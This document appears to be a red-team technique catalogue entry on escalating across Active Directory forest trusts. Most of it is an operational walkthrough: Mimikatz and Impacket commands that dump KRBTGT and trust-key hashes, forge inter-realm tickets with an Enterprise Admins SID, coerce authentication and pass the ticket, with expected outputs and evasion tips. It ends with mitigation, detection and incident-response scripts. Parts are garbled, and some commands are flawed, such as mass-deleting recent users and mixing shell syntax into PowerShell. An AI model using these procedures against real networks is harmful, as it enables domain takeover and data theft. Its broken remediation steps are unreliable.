| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-005 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | Windows AD (Cross-Forest) |
| Severity | CRITICAL |
| Technique Status | ACTIVE (exploitable on all current Windows Server versions) |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025 (when forest trusts are configured with weak SID filtering) |
| Patched In | N/A (architectural issue; requires configuration hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Cross-forest trust exploitation allows an attacker who compromises one domain within a forest to escalate privileges and move laterally into another forest through trust relationships. The core vulnerability lies in how Windows handles Security Identifier (SID) History attributes and Privilege Attribute Certificate (PAC) validation across forest boundaries. When SID filtering is misconfigured or when trust relationships are set to allow SID history traversal, an attacker can forge or manipulate Kerberos tokens to impersonate high-privilege principals (such as Enterprise Admins) in the target forest. This attack bypasses the security boundary that forests are designed to provide, especially when the trust configuration includes the TREAT_AS_EXTERNAL flag or when SID history is explicitly enabled between forests.
Attack Surface: Forest trust relationships (directional trusts between separate AD forests), trust authentication protocols (Kerberos inter-realm TGTs), and the Active Directory trust key stored on domain controllers.
Business Impact: Catastrophic forest-level compromise. Successful exploitation allows an attacker to escalate from a compromised user in one forest to Enterprise Admin or equivalent privileges in another forest. This enables full operational control over domain resources, data exfiltration, persistent backdoor installation, and potential supply chain attacks if the victim forest manages critical infrastructure.
Technical Context: This attack requires either (1) extraction of the forest trust key from a compromised domain controller, or (2) identification of weak SID filtering configurations where the trust is misconfigured with TREAT_AS_EXTERNAL flag. Exploitation typically takes 15-60 minutes once the trust key is obtained. Detection is difficult because forged Kerberos tickets appear cryptographically valid to the target forest’s domain controllers.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS 5.35 | Ensure a management station account is used for administration | | DISA STIG | V-71655 | Directory Services must be configured to enforce Kerberos pre-authentication | | NIST 800-53 | AC-3, AC-5, SC-7 | Access Enforcement, Separation of Duties, Boundary Protection | | GDPR | Art. 32 | Security of Processing (failure to isolate forests violates data processing safeguards) | | DORA | Art. 9 | Protection and Prevention (critical infrastructure boundary protection) | | NIS2 | Art. 21 | Cyber Risk Management Measures (trust configuration governance) | | ISO 27001 | A.9.2.3, A.13.1.3 | Management of Privileged Access Rights, Segregation of Networks |
Required Privileges:
Required Access:
Supported Versions:
TREAT_AS_EXTERNAL flag), and intra-forest child domain trusts without SID filteringTools Required:
Get-ADTrust, Get-ADForest cmdlets# Enumerate all trusts from the current forest
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes
# Enumerate trusts for a specific domain
Get-ADTrust -Filter * -Server "domain.local" | Select-Object Name, Direction, TrustType, TrustAttributes
# Get forest trust information
Get-ADForest | Select-Object Name, RootDomain, ForestMode, Domains
# Get child domains in the forest
Get-ADForest | Select-Object -ExpandProperty Domains
What to Look For:
TrustType = “Forest” (indicates inter-forest trust) or “External” (indicates trust to external forest)Direction = “Inbound”, “Outbound”, or “Bidirectional”TrustAttributes = Look for “TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040)” or missing “TRUST_ATTRIBUTE_TRANSITIVE (0x00000001)”Version Note: These cmdlets work identically on Windows Server 2016-2025. Behavior is consistent across versions.
# On a compromised Domain Controller, extract the trust key
# This requires NT AUTHORITY\SYSTEM or domain admin context
# Method 1: Using DCSync (Mimikatz)
lsadump::dcsync /domain:target.forest /user:target.forest$
# Method 2: Query the trust account directly
Get-ADUser -Identity "source-forest$" -Properties userPassword
What to Look For:
trustAttributes flag to determine SID filtering status# Using secretsdump.py from Impacket to extract trust keys
python3 secretsdump.py -just-dc-user 'forest\trust$' domain.local/Administrator:password@dc_ip
# Using krbrelayx to intercept Kerberos traffic and identify trust keys
python3 krbrelayx.py
Supported Versions: Windows Server 2016-2025
Objective: Forge an inter-realm Ticket Granting Ticket (TGT) that includes a manipulated SID History containing a high-privilege SID from the target forest.
Objective: Obtain the KRBTGT account hash needed to forge tickets.
Command:
# On compromised DC, dump the KRBTGT hash
Invoke-Mimikatz -Command 'lsadump::dcsync /domain:sourceforest.local /user:krbtgt'
Expected Output:
[*] Executing Mimikatz command: lsadump::dcsync /domain:sourceforest.local /user:krbtgt
[*] DC Sync
[*] Starting synchronization from domain controller...
[*] SAM SYNCHRONIZATION
[*] DC: dc1.sourceforest.local
Object: krbtgt
Hash NTLM: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
Hash SHA1: ...
What This Means:
OpSec & Evasion:
DCSync privileges (Replicating Directory Changes All)Objective: Identify Enterprise Admins SID in the target forest (typically RID 519).
Command:
# Query the target forest for Enterprise Admins SID
Get-ADGroup -Filter {Name -eq "Enterprise Admins"} -Server "targetforest.local" | Select-Object SID
# Or obtain the forest root domain SID
Get-ADDomain -Server "targetforest.local" | Select-Object DomainSID
# Enterprise Admins SID = DomainSID-519
Expected Output:
SID
---
S-1-5-21-1234567890-1234567890-1234567890-519
What This Means:
S-1-5-21-1234567890-1234567890-1234567890 = Forest root domain SID-519 = RID for Enterprise Admins (built-in group)Objective: Create a Kerberos TGT signed by the source forest’s KRBTGT that includes privileged SIDs from the target forest.
Command (Mimikatz):
# Forge a TGT with Enterprise Admins SID from target forest
Invoke-Mimikatz -Command 'kerberos::golden /domain:sourceforest.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /user:Administrator /ticket:ticket.kirbi /sids:S-1-5-21-4567890123-4567890123-4567890123-519'
Parameters Explained:
/domain = Source forest domain (where the attacker has compromise)/sid = Source forest domain SID/krbtgt = KRBTGT hash extracted in Step 1/user = Attacker-controlled user account (does not need to exist)/sids = Target forest Enterprise Admins SID (RID >= 1000 for cross-forest)/ticket = Output file name for the forged TGTExpected Output:
Ticket written to disk: ticket.kirbi
What This Means:
Version Note: Works identically on Server 2016-2025. Requires local admin or SYSTEM context.
OpSec & Evasion:
Troubleshooting:
lsadump::sam on the source DC; ensure you’re using the source forest’s KRBTGT, not the target forest’sSupported Versions: Windows Server 2016-2025
Objective: Extract the forest trust key using the Impacket secretsdump.py tool, then use it to forge tickets from a non-DC machine.
Objective: Replicate the trust account credential from a DC without local access.
Command (Impacket on Linux):
# Extract the trust key using DCSync
python3 secretsdump.py -just-dc-user 'SOURCEFOREST\targetforest$' sourceforest.local/administrator:password@192.168.1.100
# Alternative: Extract all service accounts
python3 secretsdump.py -just-dc sourceforest.local/administrator:password@192.168.1.100 > dump.txt
Expected Output:
Impacket v0.11.0
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
targetforest$:1102:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:::
What This Means:
targetforest$ = Trust account for the target forest::: is the RC4-HMAC hashVersion Note: Works on all Server versions; Impacket handles version differences automatically.
OpSec & Evasion:
Objective: Create a forged TGT that will be accepted by the target forest.
Command:
# Forge TGT using the extracted trust key
python3 ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 -domain sourceforest.local -domain-sid S-1-5-21-1111111111-2222222222-3333333333 -extra-sid S-1-5-21-4567890123-4567890123-4567890123-519 Administrator
# Output will be a .ccache file usable by Impacket tools
Expected Output:
Impacket v0.11.0
[*] The CCACHE file has been generated: Administrator.ccache
[*] Use it with exports KRB5CCNAME=Administrator.ccache
Supported Versions: Windows Server 2016-2025 (when trust has TRUST_ATTRIBUTE_TRANSITIVE flag)
Objective: Abuse unconstrained Kerberos delegation across the forest trust to obtain a TGT for a high-privilege account in the target forest.
Objective: Find servers or service accounts configured for Kerberos unconstrained delegation.
Command (PowerShell):
# Find users with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object SamAccountName, DN
# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DN
Expected Output:
SamAccountName DN
-------------- --
SERVER-UNC01 CN=SERVER-UNC01,OU=Servers,DC=sourceforest,DC=local
DC01 CN=DC01,OU=Domain Controllers,DC=sourceforest,DC=local
What This Means:
Objective: Trigger a Kerberos ticket request from the target forest DC to the unconstrained delegation account.
Command:
# Use printspooler or other coercion techniques
python3 coercer.py -d sourceforest.local -u attacker -p password -t target-dc.targetforest.local -l 192.168.1.50
OpSec & Evasion:
Manual Verification: After forging the ticket, test it by attempting to access a resource in the target forest that requires Enterprise Admin privileges.
# Load the forged ticket into the current session
Invoke-Rubeus -Command 'ptt /ticket:ticket.kirbi'
# Verify the ticket was loaded
klist
# Attempt to access a resource in target forest
net view \\targetforest-dc1.targetforest.local\c$
Expected Behavior:
Version: 2.2.0+
Minimum Version: 2.1.0
Supported Platforms: Windows only
Key Functions:
lsadump::dcsync – Extract credentials via DCSynckerberos::golden – Forge golden/inter-realm TGTssid::patch / sid::add – Manipulate SID History (Server 2012 R2 and below only)token::list – List current tokensInstallation:
# Download from https://github.com/gentilkiwi/mimikatz/releases
# Extract and run as Administrator
mimikatz.exe
Version: 1.6.0+
Supported Platforms: Windows (.NET Framework 4.5+)
Key Functions:
kerberoast – Kerberoasting attackptt – Pass-the-ticket (load TGT into session)tgtdeleg – Request TGT delegationasreproast – AS-REP roasting attackInstallation:
# Download from https://github.com/GhostPack/Rubeus/releases
# Or compile from source using Visual Studio
Rubeus.exe
Version: 0.10.0+
Supported Platforms: Windows, Linux, macOS
Key Tools:
secretsdump.py – Extract credentials (DCSync, NTDS, SAM)ticketer.py – Forge Kerberos ticketskrbrelayx.py – Kerberos relay and interceptionInstallation:
pip install impacket
1. Enable and Enforce SID Filtering on All Trust Relationships
Why This Matters: SID filtering is the primary defense against SID History injection attacks. By default:
TREAT_AS_EXTERNAL)Manual Steps (PowerShell on DC):
# Enable strict SID filtering (Quarantine) on a specific trust
# Run on Domain Controller or Management Station
# List all trusts and their current SID filtering status
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, @{
Name="SIDFilteringEnabled"
Expression={($_.TrustAttributes -band 0x0004) -eq 0x0004}
}
# Enable SID filtering (Quarantine) on an intra-forest trust
netdom trust sourceforest.local /domain:targetforest.local /Quarantine:Yes
# Verify the change
netdom trust sourceforest.local /domain:targetforest.local /Verify
Manual Steps (Group Policy for Server 2019+):
gpupdate /force on all DCsServer 2016-Specific Steps:
# On Server 2016, use netdom (no GUI support for quarantine in ADUC)
netdom trust parent.local /domain:child.local /Quarantine:Yes /UserD:domain\admin /PasswordD:password
Validation Command:
# Verify SID filtering is active
$trust = Get-ADTrust -Identity "targetforest.local"
$quarantine = ($trust.TrustAttributes -band 0x0004) -eq 0x0004
Write-Host "SID Filtering Enabled: $quarantine"
# Expected Output: "SID Filtering Enabled: True"
Impact:
2. Disable SID History on Trusts (If Not Required)
Why This Matters: If SID History is not actively used for migrations, disable it entirely to close the attack vector.
Manual Steps:
# Disable SID History on a trust relationship
netdom trust sourceforest.local /domain:targetforest.local /EnableSidHistory:No
# Verify it's disabled
netdom trust sourceforest.local /domain:targetforest.local /Verify
Expected Output:
SID History enabled: NO
3. Rotate KRBTGT Password on All Domain Controllers (Twice)
Why This Matters: Even if a KRBTGT hash is compromised, rotating the password twice invalidates all existing forged tickets signed with the old key.
Manual Steps (Server 2019+):
# Reset KRBTGT password (first rotation)
$krbtgtDN = (Get-ADUser -Identity krbtgt).DistinguishedName
Set-ADAccountPassword -Identity $krbtgtDN -NewPassword (ConvertTo-SecureString -AsPlainText "NewComplexPassword123!" -Force) -Reset
# Wait 10 minutes, then rotate again
Start-Sleep -Seconds 600
Set-ADAccountPassword -Identity $krbtgtDN -NewPassword (ConvertTo-SecureString -AsPlainText "AnotherComplexPassword456!" -Force) -Reset
Server 2016-Specific Steps:
# On Server 2016, use Set-ADAccountPassword with longer wait
# The KDC caches the old password for 10 hours; second reset clears all caches
Expected Behavior:
4. Implement Selective Authentication (If Possible)
Why This Matters: Selective authentication restricts which principals from the trusted domain can access resources in the trusting domain.
Manual Steps:
# Enable Selective Authentication on a trust
netdom trust sourceforest.local /domain:targetforest.local /Transitive:Yes /SelectiveAuth:Yes
# Verify
netdom trust sourceforest.local /domain:targetforest.local /Verify
Configuration in ADUC (GUI):
Impact:
1. Monitor and Audit All Trust Relationships
Why This Matters: Regular audits identify rogue or misconfigured trusts that could be exploited.
Manual Steps:
# Export all trusts for audit
Get-ADTrust -Filter * -Server (Get-ADForest).Name | Export-Csv -Path "C:\Audit\ForestTrusts.csv"
# Schedule quarterly reviews
$trusts = Get-ADTrust -Filter *
foreach ($trust in $trusts) {
Write-Host "Trust: $($trust.Name)`nDirection: $($trust.Direction)`nType: $($trust.TrustType)`nAttributes: $($trust.TrustAttributes)"
}
2. Disable Unnecessary Cross-Forest Trusts
Why This Matters: Each trust is an additional attack surface. If a trust is not actively used, remove it.
Manual Steps:
# Remove a trust relationship (must run on both forest roots)
Remove-ADTrust -Identity "targetforest.local" -Confirm:$false
# Verify removal
Get-ADTrust -Filter {Name -eq "targetforest.local"}
3. Implement Privileged Access Workstations (PAW)
Why This Matters: Reduces the risk of credential theft on admin machines, limiting the attack surface for trust key extraction.
Configuration:
Active Directory Events:
Kerberos Events:
Network IOCs:
File-Based IOCs:
.exe containing “mimikatz” in name or command line).kirbi files in temp directoriesticketer.py or secretsdump.pyDisk Locations:
C:\Windows\Temp\*.kirbi – Forged ticket filesC:\Windows\System32\winevt\Logs\Security.evtx – All authentication eventsC:\Windows\System32\drivers\etc\hosts – Modified hosts file may indicate DNS spoofingMemory:
%APPDATA%\Microsoft\Protect\S-1-5-21-*\ (user credential store)Cloud / M365:
1. Immediate Containment (0-5 Minutes)
# Isolate affected domain controllers
# 1. Disable the network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# 2. Force a password change for all KRBTGT accounts in affected forest
Get-ADForest | ForEach-Object {
$forestRootDomain = $_.RootDomain
$krbtgt = Get-ADUser -Filter {sAMAccountName -eq "krbtgt"} -Server $forestRootDomain
Set-ADAccountPassword -Identity $krbtgt -NewPassword (ConvertTo-SecureString -AsPlainText "EmergencyPassword123!()" -Force) -Reset
}
# 3. Disable affected service accounts
Get-ADUser -Filter {sIDHistory -like "*519*"} | Disable-ADAccount
2. Forensic Collection (5-30 Minutes)
# Export Security Event Log
wevtutil epl Security C:\Forensics\Security.evtx
# Collect Kerberos cache
Copy-Item -Path "$env:APPDATA\Microsoft\Protect" -Destination "C:\Forensics\Protect" -Recurse
# Dump process memory (if incident still active)
procdump64.exe -ma lsass.exe C:\Forensics\lsass.dmp
procdump64.exe -ma mimikatz.exe C:\Forensics\mimikatz.dmp 2>/dev/null || Write-Host "Mimikatz process not running"
# Collect all tickets from memory
Invoke-Mimikatz -Command 'kerberos::list' > C:\Forensics\KerberosCache.txt
3. Remediation (1-24 Hours)
# Step 1: Rotate KRBTGT TWICE on every DC (with 10-minute delay)
$forestDomains = (Get-ADForest).Domains
foreach ($domain in $forestDomains) {
Write-Host "[*] Processing domain: $domain"
$krbtgtUser = Get-ADUser -Filter {sAMAccountName -eq "krbtgt"} -Server $domain
# First rotation
Set-ADAccountPassword -Identity $krbtgtUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword$(Get-Random)" -Force)
Write-Host "[+] First KRBTGT rotation completed for $domain"
# Wait 10 minutes for KDC cache refresh
Start-Sleep -Seconds 600
# Second rotation
Set-ADAccountPassword -Identity $krbtgtUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword$(Get-Random)" -Force)
Write-Host "[+] Second KRBTGT rotation completed for $domain"
}
# Step 2: Revoke compromised trust keys
netdom trust sourceforest.local /domain:targetforest.local /Quarantine:Yes
# Step 3: Reset any backdoor accounts created by attacker
Get-ADUser -Filter {Created -gt (Get-Date).AddHours(-2)} -Properties Created | Remove-ADUser -Confirm:$false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] | Exploit application vulnerability to gain foothold |
| 2 | Credential Access | [CA-DUMP-002] DCSync | Extract NTDS.dit or leverage DCSync to obtain KRBTGT hash |
| 3 | Privilege Escalation | [PE-VALID-001] Exchange ACL Abuse | Escalate within source domain to Domain Admin |
| 4 | Current Step | [PE-VALID-005] | Forge inter-realm TGT to cross forest boundary |
| 5 | Lateral Movement | [LM-AUTH-002] Pass-the-Ticket | Use forged TGT to access resources in target forest |
| 6 | Impact | [CO-DATA-001] Data Exfiltration | Extract sensitive data from target forest resources |
If the target forest has Selective Authentication enabled, only explicitly approved principals can cross the trust. However, an attacker can:
Attackers can chain multiple forest trust exploitations:
An attacker with Domain Admin privileges can: